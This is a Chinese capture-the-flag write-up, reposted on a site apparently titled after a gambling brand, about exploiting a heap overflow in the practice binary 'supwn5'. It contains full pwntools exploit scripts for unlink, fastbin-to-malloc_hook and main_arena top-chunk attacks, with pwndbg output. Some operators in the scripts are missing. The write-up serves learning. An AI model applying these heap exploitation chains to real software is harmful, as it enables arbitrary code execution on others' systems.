怪套路之fastbin | 宜武汇-ag真人国际厅网站

漏洞简要分析及unlink exp

师傅已经说的很清楚了,咱就直接分析漏洞吧

unsigned __int64 take_note() { int v1; // [rsp 4h] [rbp-ch] unsigned __int64 v2; // [rsp 8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("which one do you want modify :"); __isoc99_scanf("%d", &v1); if ( buf[v1] != 0ll && v1 >= 0 && v1 <= 9 ) { puts("please input the content"); read(0, buf[v1], 0x100ull); //溢出 } return __readfsqword(0x28u) ^ v2; }

很明显,直接能输入 0x100 字节,堆溢出. checksec 一下,一看没开 pie

> checksec supwn5 [*] '/home/pic/\xe6\xa1\x8c\xe9\x9d\xa2/11\xe6\x9c\x88\xe6\x96\x87\xe7\xab\xa0/supwn5' arch: amd64-64-little relro: partial relro stack: canary found nx: nx enabled pie: no pie (0x400000)

可以直接 unlink ,实在有点好用, unlink 的 exp

from pwn import * p = process('./supwn5') elf = elf("./supwn5", checksec=false) libc = elf('/lib/x86_64-linux-gnu/libc.so.6', checksec=false) #context.log_level = "debug" def new(size): p.sendlineafter('please chooice :\n','1') p.sendlineafter('please input the size : \n',str(size)) def free(ind): p.sendlineafter('please chooice :\n','2') p.sendlineafter('which node do you want to delete\n',str(ind)) def edit(ind,content): p.sendlineafter('please chooice :\n','4') p.sendlineafter('which one do you want modify :\n',str(ind)) p.sendafter('please input the content',content) new(0x80) new(0x80) new(1) payload = p64(0) p64(0x81) p64(0x06020c0-24) p64(0x06020c0-16) payload = payload.ljust(0x80) payload =p64(0x80) p64(0x90) edit(0,payload) free(1) pay = p64(0)*3 p64(elf.got['puts']) p64(0x06020c0-24)*5 edit(0,pay) p.sendlineafter('please chooice :\n','3') p.sendlineafter('which node do you want to show\n','0') p.recvuntil('the content is : \n') leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) libc_base = leak - libc.symbols['puts'] print hex(libc_base) system = libc.symbols['system']   libc_base free_hook = libc.symbols['__free_hook']   libc_base pay = p64(0)*3 p64(free_hook) p64(0x06020c0-24)*5 edit(1,pay) gdb.attach(p) one=libc_base 0x4526a edit(0,p64(one)) free(1) p.interactive()

常规思路 unlink 到 bss 端直接指那打哪,但是能溢出这么多字节就利用个 off-by-one 觉得有点可惜,就想用点别的思路来做

fd 到 malloc_hook-0x23

arbitrary alloc

from pwn import * elf = elf("./supwn5", checksec=false) libc = elf.libc #context.log_level = "debug" def new(size): p.sendlineafter('please chooice :\n','1') p.sendlineafter('please input the size : \n',str(size)) def free(ind): p.sendlineafter('please chooice :\n','2') p.sendlineafter('which node do you want to delete\n',str(ind)) def edit(ind,content): p.sendlineafter('please chooice :\n','4') p.sendlineafter('which one do you want modify :\n',str(ind)) p.sendafter('please input the content',content) def show(ind): p.sendlineafter('please chooice :\n','3') p.sendlineafter('which node do you want to show\n',str(ind)) i=0 while(i<10): p=process('./supwn5',aslr=2) new(0x80) new(1) free(0) new(0x80) show(0) p.recvuntil('the content is : \n') leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00")) base = leak-3951480 print hex(base) i=i 1 p.close()

通过上述的小脚本跑一下该程序,会发现 so 的基地址在最高字节均为0x7f,这也就是修改 malloc_hook 为 fd 的基础

提前说明,本篇脚本均完成到了 malloc 到了 malloc_hook ,填入 one_gadget 过程实在有点玄学,各种环境难免保证一样,各位可以自己向下研究利用.上 exp

from pwn import * p = process('./supwn5',aslr=2) elf = elf("./supwn5", checksec=false) libc = elf('/lib/x86_64-linux-gnu/libc.so.6', checksec=false) #context.log_level = "debug" def new(size): p.sendlineafter('please chooice :\n','1') p.sendlineafter('please input the size : \n',str(size)) def free(ind): p.sendlineafter('please chooice :\n','2') p.sendlineafter('which node do you want to delete\n',str(ind)) def edit(ind,content): p.sendlineafter('please chooice :\n','4') p.sendlineafter('which one do you want modify :\n',str(ind)) p.sendafter('please input the content',content) def show(ind): p.sendlineafter('please chooice :\n','3') p.sendlineafter('which node do you want to show\n',str(ind)) new(0x80) new(1) free(0) new(0x80) show(0) p.recvuntil('the content is : \n') leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00")) base = leak-3951480 print hex(base) new(0x60) free(2) edit(1,p64(0)*3 p64(0x71) p64(base 3951341)) gdb.attach(p) new(0x60) new(0x60) edit(3,'a'*0x13 'b'*8) gdb.attach(p) p.interactive()

成功的关键就是刚才说的在 malloc_hook-0x23 的 0x7f 固定,必然满足 fastbin 检查,直接就 malloc 出来了

pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x19770b0 —▸ 0x7f8c9946daed (_io_wide_data_0 301) ◂— 0x8c9912ee20000000 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> x/32gx 0x7f8c9946daed 0x7f8c9946daed <_io_wide_data_0 301>: 0x8c9946c260000000 0x000000000000007f 0x7f8c9946dafd: 0x8c9912ee20000000 0x8c9912ea0000007f 0x7f8c9946db0d <__realloc_hook 5>: 0x000000000000007f 0x0000000000000000 0x7f8c9946db1d: 0x0000000000000000 0x0000000000000000

但是其实还有很多时候无法使用该方法,比如说题目在 malloc 堆的时候是固定字节或者限制 malloc 字节大小,最大是 0x60 这种,这时候就又要换个思路了

通过 main_arena 修改 top_chunk

from pwn import * p = process('./supwn5',aslr=2) elf = elf("./supwn5", checksec=false) libc = elf('/lib/x86_64-linux-gnu/libc.so.6', checksec=false) #context.log_level = "debug" def new(size): p.sendlineafter('please chooice :\n','1') p.sendlineafter('please input the size : \n',str(size)) def free(ind): p.sendlineafter('please chooice :\n','2') p.sendlineafter('which node do you want to delete\n',str(ind)) def edit(ind,content): p.sendlineafter('please chooice :\n','4') p.sendlineafter('which one do you want modify :\n',str(ind)) p.sendafter('please input the content',content) def show(ind): p.sendlineafter('please chooice :\n','3') p.sendlineafter('which node do you want to show\n',str(ind))

上述为框架函数

new(0x80) new(1) free(0) new(0x80) show(0) p.recvuntil('the content is : \n') leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00")) print hex(leak) base = leak-3951480 //效果如下(下方的格式都是先是代码和执行完的调试结果) pwndbg> heap 0xde8000 prev_inuse { prev_size = 0, size = 145, fd = 0x7f06f2f30b78 , bk = 0x7f06f2f30b78 , fd_nextsize = 0x0, bk_nextsize = 0x0 } 0xde8090 fastbin { prev_size = 144, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20f51 } 0xde80b0 prev_inuse { prev_size = 0, size = 134993, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> x/32gx 0xde8000 0xde8000: 0x0000000000000000 0x0000000000000091 0xde8010: 0x00007f06f2f30b78 0x00007f06f2f30b78 0xde8020: 0x0000000000000000 0x0000000000000000 0xde8030: 0x0000000000000000 0x0000000000000000

上述为泄漏 libc 地址

new(0x40) free(2) edit(1,p64(0)*3 p64(0x51) p64(0x61)) pwndbg> x/32gx 0xde8000 0xde8000: 0x0000000000000000 0x0000000000000091 0xde8010: 0x00007f06f2f30b78 0x00007f06f2f30b78 0xde8020: 0x0000000000000000 0x0000000000000000 0xde8030: 0x0000000000000000 0x0000000000000000 0xde8040: 0x0000000000000000 0x0000000000000000 0xde8050: 0x0000000000000000 0x0000000000000000 0xde8060: 0x0000000000000000 0x0000000000000000 0xde8070: 0x0000000000000000 0x0000000000000000 0xde8080: 0x0000000000000000 0x0000000000000000 0xde8090: 0x0000000000000090 0x0000000000000021 0xde80a0: 0x0000000000000000 0x0000000000000000 0xde80b0: 0x0000000000000000 0x0000000000000051 0xde80c0: 0x0000000000000061 0x0000000000000000 0xde80d0: 0x0000000000000000 0x0000000000000000 0xde80e0: 0x0000000000000000 0x0000000000000000 0xde80f0: 0x0000000000000000 0x0000000000000000 pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0xde80b0 ◂— 0x61 /* 'a' */ 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

这个就是为了之后的 malloc 出来 fastbin 做铺垫,0x61等会作用很大

new(0x40) new(0x50) free(3) edit(2,p64(0)*9 p64(0x61) p64(leak-0x40)) pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x61 0x60: 0xde8100 —▸ 0x7f06f2f30b38 (main_arena 24) ◂— 0xde8100 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> x/32gx 0x7f06f2f30b38 0x7f06f2f30b38 : 0x0000000000000000 0x0000000000000061 0x7f06f2f30b48 : 0x0000000000de8100 0x0000000000000000 0x7f06f2f30b58 : 0x0000000000000000 0x0000000000000000 0x7f06f2f30b68 : 0x0000000000000000 0x0000000000000000 0x7f06f2f30b78 : 0x0000000000de8160 0x0000000000000000 ...

可以看到上边的结果, 0x61 已经写进去了,而且 0x60 的块也构造好了,满足构造条件,下边就是合理使用了

new(0x50) new(0x50) edit(4,p64(0)*6 p64(leak-0x78)) pwndbg> x/20gx 0x7f06f2f30b00 0x7f06f2f30b00 <__memalign_hook>: 0x00007f06f2bf1e20 0x00007f06f2bf1a00 0x7f06f2f30b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7f06f2f30b20 : 0x0000000000000000 0x0000000000000000 0x7f06f2f30b30 : 0x0000000000000000 0x0000000000000000 0x7f06f2f30b40 : 0x0000000000000061 0x0000000000000000 0x7f06f2f30b50 : 0x0000000000000000 0x0000000000000000 0x7f06f2f30b60 : 0x0000000000000000 0x0000000000000000 0x7f06f2f30b70 : 0x0000000000000000 0x00007f06f2f30b00 ------>topchunk 0x7f06f2f30b80 : 0x0000000000000000 0x00007f06f2f30b78 0x7f06f2f30b90 : 0x00007f06f2f30b78 0x00007f06f2f30b88 pwndbg> arena { mutex = 0, flags = 0, fastbinsy = {0x0, 0x0, 0x0, 0x61, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x7f06f2f30b00 <__memalign_hook>,

通过上述,可以看到已经把 top_chunk 给改了,这里要注意一下 topchunk千万别是 0 ,注意一下偏移就好了

new(1) edit(5,'a'*8) pwndbg> x/20gx 0x7f06f2f30b00-0x10 0x7f06f2f30af0 <_io_wide_data_0 304>: 0x00007f06f2f2f260 0x0000000000000000 0x7f06f2f30b00 <__memalign_hook>: 0x00007f06f2bf1e20 0x0000000000000021 0x7f06f2f30b10 <__malloc_hook>: 0x6161616161616161 0x0000000000000000 0x7f06f2f30b20 : 0x0000000000000000 0x00007f06f2bf19e1 0x7f06f2f30b30 : 0x0000000000000000 0x0000000000000000 0x7f06f2f30b40 : 0x0000000000000061 0x0000000000000000

利用成功,完整 exp 见下

from pwn import * p = process('./supwn5',aslr=2) elf = elf("./supwn5", checksec=false) libc = elf('/lib/x86_64-linux-gnu/libc.so.6', checksec=false) #context.log_level = "debug" def new(size): p.sendlineafter('please chooice :\n','1') p.sendlineafter('please input the size : \n',str(size)) def free(ind): p.sendlineafter('please chooice :\n','2') p.sendlineafter('which node do you want to delete\n',str(ind)) def edit(ind,content): p.sendlineafter('please chooice :\n','4') p.sendlineafter('which one do you want modify :\n',str(ind)) p.sendafter('please input the content',content) def show(ind): p.sendlineafter('please chooice :\n','3') p.sendlineafter('which node do you want to show\n',str(ind)) new(0x80) new(1) free(0) new(0x80) show(0) p.recvuntil('the content is : \n') leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00")) print hex(leak) base = leak-3951480 new(0x40) free(2) edit(1,p64(0)*3 p64(0x51) p64(0x61)) new(0x40) new(0x50) free(3) edit(2,p64(0)*9 p64(0x61) p64(leak-0x40)) new(0x50) new(0x50) edit(4,p64(0)*6 p64(leak-0x78)) new(1) edit(5,'a'*8) gdb.attach(p) p.interactive()

通过这个可以看到 fastbin–>malloc_hook 还是比较简单的,但是构造起来很需要耐心.另外可以发现我这个 unlink exp偷懒了,完全可以很稳的执行 system(‘/bin/sh’) 的,但还是因为想偷懒,直接向 free_hook 填的 one_gadget ,不过还好成功了.所以其实还是得少用 one_gadget ,这个还是下下策

原文链接:https://xz.aliyun.com/t/7989

网络摘文,本文作者:15h,如若转载,请注明出处:https://www.15cov.cn/2023/08/27/怪套路之fastbin/

发表评论

邮箱地址不会被公开。 必填项已用*标注

网站地图